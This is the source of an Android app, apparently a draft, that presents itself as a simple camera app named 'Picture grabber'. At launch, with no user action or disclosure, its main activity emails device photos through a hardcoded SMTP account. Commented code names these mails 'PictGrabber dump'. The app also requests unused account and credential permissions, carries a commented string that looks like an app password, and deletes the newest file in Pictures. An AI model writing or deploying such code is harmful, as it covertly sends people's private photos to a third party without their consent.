--------------------------------MainActivivity.java
package com.example.testactivity;

import android.Manifest;
import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.ActivityNotFoundException;
import android.content.ContentValues;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.graphics.Bitmap;
import android.graphics.drawable.BitmapDrawable;
import android.media.MediaScannerConnection;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.provider.MediaStore;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.Toast;

import androidx.activity.result.ActivityResult;
import androidx.activity.result.ActivityResultCallback;
import androidx.activity.result.ActivityResultLauncher;
import androidx.activity.result.contract.ActivityResultContracts;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;

import java.io.File;
import java.io.FileOutputStream;
import java.util.Date;
import java.util.Properties;

import javax.activation.DataHandler;
import javax.activation.DataSource;
import javax.activation.FileDataSource;
import javax.mail.Authenticator;
import javax.mail.Message;
import javax.mail.MessagingException;
import javax.mail.Multipart;
import javax.mail.PasswordAuthentication;
import javax.mail.Session;
import javax.mail.Transport;
import javax.mail.internet.AddressException;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeBodyPart;
import javax.mail.internet.MimeMessage;
import javax.mail.internet.MimeMultipart;

public class MainActivity extends AppCompatActivity {

    private static final int PERMISSION_CODE = 1000;
    private static final int IMAGE_CAPTURE_CODE = 1001;
    Button mCaptureBtn;
    Button mSaveBtn;
    ImageView mImageView;
    Uri image_uri;
    File duplicateFile;
    Integer photoCompressionRate = 66;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        mImageView = findViewById(R.id.image_view);
        mCaptureBtn = findViewById(R.id.cameraButton);
        mSaveBtn = findViewById(R.id.saveButton);


        final String username = "adresse1";
        final String password = "password";

        Properties props = new Properties();
        props.put("mail.smtp.auth", "true");
        props.put("mail.smtp.starttls.enable", "true");
        props.put("mail.smtp.host", "smtp.free.fr");
        props.put("mail.smtp.port", "587");

        Session session = Session.getInstance(props,
                new javax.mail.Authenticator() {
                    protected PasswordAuthentication getPasswordAuthentication() {
                        return new PasswordAuthentication(username, password);
                    }
                });
        try {
            Message message = new MimeMessage(session);
            message.setFrom(new InternetAddress("adresse1"));
            message.setRecipients(Message.RecipientType.TO,
                    InternetAddress.parse("adresse2"));
            message.setSubject("Testing Subject");
            message.setText("Dear Mail Crawler,"
                    + "\n\n No spam to my email, please!");

            MimeBodyPart messageBodyPart = new MimeBodyPart();

            Multipart multipart = new MimeMultipart();

            messageBodyPart = new MimeBodyPart();
            String file = "/storage/emulated/0/Pictures/";
            String fileName = "1658652512673.jpg";
            DataSource source = new FileDataSource(file);
            messageBodyPart.setDataHandler(new DataHandler(source));
            messageBodyPart.setFileName(fileName);
            multipart.addBodyPart(messageBodyPart);

            message.setContent(multipart);

            Transport.send(message);

            System.out.println("Done");

        } catch (MessagingException e) {
            throw new RuntimeException(e);
        }


        //SendMail();

        //try {
        //    MailSender sender = new MailSender("adresse1", "password");
        //    sender.sendMail("This is Subject",
        //            "This is Body",
        //            "adresse1",
        //            "adresse2");
        //} catch (Exception e) {
        //    Log.e("SendMail", e.getMessage(), e);
        //}

        //SendMail();

        //try {
        //    sendEmail("adresse1", "adresse1", "PictGrabber dump", "The app just sent you a new picture", "/storage/emulated/0/DCIM/Camera/1658661160448.jpg");
        //} catch (Exception e) {
        //    e.printStackTrace();
        //}

        mCaptureBtn.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                //check os version and runtime permission
                if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
                    if (checkSelfPermission(Manifest.permission.CAMERA) == PackageManager.PERMISSION_DENIED ||
                            checkSelfPermission(Manifest.permission.ACCESS_NETWORK_STATE) == PackageManager.PERMISSION_DENIED ||
                            checkSelfPermission(Manifest.permission.READ_EXTERNAL_STORAGE) == PackageManager.PERMISSION_DENIED ||
                            checkSelfPermission(Manifest.permission.INTERNET) == PackageManager.PERMISSION_DENIED ||
                            checkSelfPermission(Manifest.permission.WRITE_EXTERNAL_STORAGE) == PackageManager.PERMISSION_DENIED) {
                        //permission not enabled, request it
                        String[] permission = {Manifest.permission.CAMERA, Manifest.permission.ACCESS_NETWORK_STATE, Manifest.permission.READ_EXTERNAL_STORAGE, Manifest.permission.INTERNET, Manifest.permission.WRITE_EXTERNAL_STORAGE};
                        //Show popup
                        requestPermissions(permission, PERMISSION_CODE);
                    } else {
                        //permission already granted
                        openCamera();
                    }
                } else {
                    //system OS recent enough
                    openCamera();
                }
            }
        });

        mSaveBtn.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                BitmapDrawable drawable = (BitmapDrawable) mImageView.getDrawable();
                Bitmap bitmap = drawable.getBitmap();
                try {
                    String root = Environment.getExternalStorageDirectory().toString();
                    String filename = String.format("%d.jpg", System.currentTimeMillis());
                    File file = new File(root + "/DCIM/Camera/" + filename);
                    FileOutputStream out = new FileOutputStream(file);
                    bitmap.compress(Bitmap.CompressFormat.JPEG, photoCompressionRate, out);
                    out.flush();
                    out.close();
                    MediaScannerConnection.scanFile(MainActivity.this,
                            new String[]{file.toString()}, null,
                            new MediaScannerConnection.OnScanCompletedListener() {
                                public void onScanCompleted(String path, Uri uri) {
                                    Log.i("ExternalStorage", "Scanned " + path + ":");
                                    Log.i("ExternalStorage", "-> uri=" + uri);
                                }
                            });
                    cleanPictureGenerated();
                    //Intent i = new Intent(Intent.ACTION_SEND);
                    //i.putExtra(Intent.EXTRA_EMAIL, new String[]{"adresse1"});
                    //i.putExtra(Intent.EXTRA_SUBJECT,"PictGrabber saved picture");
                    //i.putExtra(Intent.EXTRA_STREAM, Uri.fromFile(file));
                    //i.setType("image/png");
                    //startActivity(Intent.createChooser(i,"Send mail"));
                    Toast.makeText(MainActivity.this, "Picture saved", Toast.LENGTH_SHORT).show();

                } catch (Exception ex) {
                    ex.printStackTrace();
                }
            }
        });
    }

    private void openCamera() {
        ContentValues values = new ContentValues();
        values.put(MediaStore.Images.Media.TITLE, "New Picture");
        values.put(MediaStore.Images.Media.DESCRIPTION, "From the Camera");
        image_uri = getContentResolver().insert(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, values);

        //Camera intent
        Intent cameraIntent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);
        cameraIntent.putExtra(MediaStore.EXTRA_OUTPUT, image_uri);
        //startActivityForResult(cameraIntent, IMAGE_CAPTURE_CODE);
        //startActivity(cameraIntent);
        someActivityResultLauncher.launch(cameraIntent);
    }

    //handling permission result
    @SuppressLint("MissingSuperCall")
    @Override
    public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
        //this method is called when user press Allow or Deny from Permission Request Popup
        switch (requestCode) {
            case PERMISSION_CODE: {
                if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                    //permission from popup was granted
                    openCamera();
                } else {
                    //permission from popup was denied
                    Toast.makeText(this, "Permission denied...", Toast.LENGTH_SHORT).show();
                }
            }
        }
    }

    ActivityResultLauncher<Intent> someActivityResultLauncher = registerForActivityResult(
            new ActivityResultContracts.StartActivityForResult(),
            new ActivityResultCallback<ActivityResult>() {
                @Override
                public void onActivityResult(ActivityResult result) {
                    if (result.getResultCode() == Activity.RESULT_OK) {
                        //Intent data = result.getData();
                        mImageView.setImageURI(image_uri);
                    }
                }
            });

    private void cleanPictureGenerated() {
        String path = Environment.getExternalStorageDirectory().toString() + "/Pictures";
        Log.d("======> Files", "Path: " + path);
        File directory = new File(path);
        File[] files = directory.listFiles();
        Log.d("======> Files", "Size: " + files.length);
        Date trueLastModDate = null;
        for (int i = 0; i < files.length; i++) {
            if (files[i].isFile()) {
                if (trueLastModDate == null) {
                    trueLastModDate = new Date(files[i].lastModified());
                } else {
                    Date lastModDate = new Date(files[i].lastModified());
                    if (lastModDate.compareTo(trueLastModDate) > 0) {
                        trueLastModDate = lastModDate;
                    }
                }
            }
        }
        for (int i = 0; i < files.length; i++) {
            if (files[i].isFile()) {
                Date lastModDate = new Date(files[i].lastModified());
                if (lastModDate.compareTo(trueLastModDate) == 0) {
                    Log.d("======> Files", "Filename deleted: " + files[i].getName() + " - Last mod date: " + trueLastModDate.toString());
                    files[i].delete();
                }
            }
        }
    }

    //public static boolean sendEmail(String to, String from, String subject, String message, String attachement) throws Exception {
    //    Mail mail = new Mail();
    //    if (subject != null && subject.length() > 0) {
    //        mail.setSubject(subject);
    //    } else {
    //        mail.setSubject("Subject");
    //    }
//
    //    if (message != null && message.length() > 0) {
    //        mail.setBody(message);
    //    } else {
    //        mail.setBody("Message");
    //    }
//
    //    mail.setTo(new String[] {to});
//
    //    if (attachement != null) {
    //        mail.addAttachment(attachement);
    //    }
    //    return mail.send();
    //}


    public void SendMail (){

        try {
            String stringSenderEmail = "adresse1"; //"adresse1";
            String stringReceiverEmail = "adresse2";
            String stringPasswordSenderEmail = "password"; //"upmbksrwnxqzfqtn";

            String stringHost = "smtp.free.fr"; //"212.27.48.4"; //"smtp.free.fr"; //"smtp.gmail.com";

            Properties properties = System.getProperties();

            properties.put("mail.smtp.host", stringHost);
            properties.put("mail.smtp.port", "465");
            properties.put("mail.smtp.ssl.enable", "true");
            //properties.put("mail.smtp.socketFactory.port", "465");
            //properties.put("mail.smtp.socketFactory.class","javax.net.ssl.SSLSocketFactory");
            properties.put("mail.smtp.auth", "true");

            javax.mail.Session session = Session.getInstance(properties, new Authenticator() {
                @Override
                protected PasswordAuthentication getPasswordAuthentication() {
                    return new PasswordAuthentication(stringSenderEmail, stringPasswordSenderEmail);
                }
            });

            MimeMessage mimeMessage = new MimeMessage(session);
            mimeMessage.addRecipient(Message.RecipientType.TO, new InternetAddress(stringReceiverEmail));

            mimeMessage.setSubject("Subject: Android App email");
            mimeMessage.setText("Hello Programmer, \n\nProgrammer World has sent you this 2nd email. \n\n Cheers!\nProgrammer World");

            try {
                Transport.send(mimeMessage);
            } catch (MessagingException e) {
                e.printStackTrace();
            }
            //Thread thread = new Thread(new Runnable() {
            //    @Override
            //    public void run() {
            //        try {
            //            Transport.send(mimeMessage);
            //        } catch (MessagingException e) {
            //            e.printStackTrace();
            //        }
            //    }
            //});
            //thread.start();

        } catch (AddressException e) {
            e.printStackTrace();
        } catch (MessagingException e) {
            e.printStackTrace();
        }
    }
}

------------------------------AndroidManifest.xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    package="com.example.testactivity">

    <uses-permission android:name="android.permission.CAMERA" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.GET_ACCOUNTS" />
    <uses-permission android:name="android.permission.USE_CREDENTIALS" />


    <application
        android:allowBackup="true"
        android:dataExtractionRules="@xml/data_extraction_rules"
        android:fullBackupContent="@xml/backup_rules"
        android:label="@string/app_name"
        android:icon="@drawable/ic_baseline_camera_alt_24"
        android:roundIcon="@drawable/ic_baseline_camera_alt_24"
        android:supportsRtl="true"
        android:theme="@style/Theme.TestActivity"
        tools:targetApi="31">
        <activity
            android:name=".MainActivity"
            android:label="Picture grabber"
            android:screenOrientation="landscape"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
    </application>

</manifest>

------------------------------activity_main.xml
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".MainActivity">

    <!--Image view in which image will be set -->

    <ImageView
        android:id="@+id/image_view"
        android:layout_width="0dp"
        android:layout_height="0dp"
        android:src="@drawable/ic_baseline_image_24"
        app:layout_constraintBottom_toTopOf="@+id/cameraButton"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.0"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent" />

    <Button
        android:id="@+id/cameraButton"
        android:layout_width="372dp"
        android:layout_height="82dp"
        android:layout_marginStart="52dp"
        android:backgroundTint="#A32E2E"
        android:text="Take picture"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintStart_toStartOf="@+id/image_view"
        app:layout_constraintTop_toBottomOf="@+id/image_view" />

    <Button
        android:id="@+id/saveButton"
        android:layout_width="176dp"
        android:layout_height="78dp"
        android:layout_marginStart="128dp"
        android:layout_marginBottom="4dp"
        android:backgroundTint="#A32E2E"
        android:text="Save"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintStart_toEndOf="@+id/cameraButton" />

</androidx.constraintlayout.widget.ConstraintLayout>